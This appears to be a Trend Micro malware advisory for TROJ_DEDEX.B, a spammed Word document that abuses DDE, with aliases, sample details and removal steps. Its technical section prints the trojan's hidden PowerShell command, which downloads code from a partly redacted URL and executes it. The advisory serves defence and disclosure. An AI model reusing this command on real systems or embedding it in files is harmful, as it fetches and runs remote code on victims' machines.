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TROJ_DEDEX.B

October 30, 2017
 ALIASES:

Trojan-Downloader.MSWord.Agent.bpm (Kaspersky); VBA/DDE.D trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

  TECHNICAL DETAILS

File Size:

13,344 bytes

File Type:

DOCX

Memory Resident:

No

Initial Samples Received Date:

20 Oct 2017

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Other Details

This Trojan does the following:

  • Upon opening the document, it may display the following prompts:
  • This Trojan connects to the URL http://{BLOCKED}tistchurch.com/KJHDhbje71 to download and execute a malicious code. As of this writing, the said site is inaccessible.
  • The malicious document takes advantage of DDE (Dynamic Data Exchange) to execute a PowerShell command. It downloads and execute codes from a URL using the following PowerShell command:
    • powershell -NoP -sta -NonI -w hidden $e=(New-Object System.Net.WebClient).DownloadString('http://{BLOCKED}tistchurch.com/KJHDhbje71');powershell -e $e

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.728.06

FIRST VSAPI PATTERN DATE:

19 Oct 2017

VSAPI OPR PATTERN File:

13.729.00

VSAPI OPR PATTERN Date:

20 Oct 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as TROJ_DEDEX.B

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Scan your computer with your Trend Micro product to delete files detected as TROJ_DEDEX.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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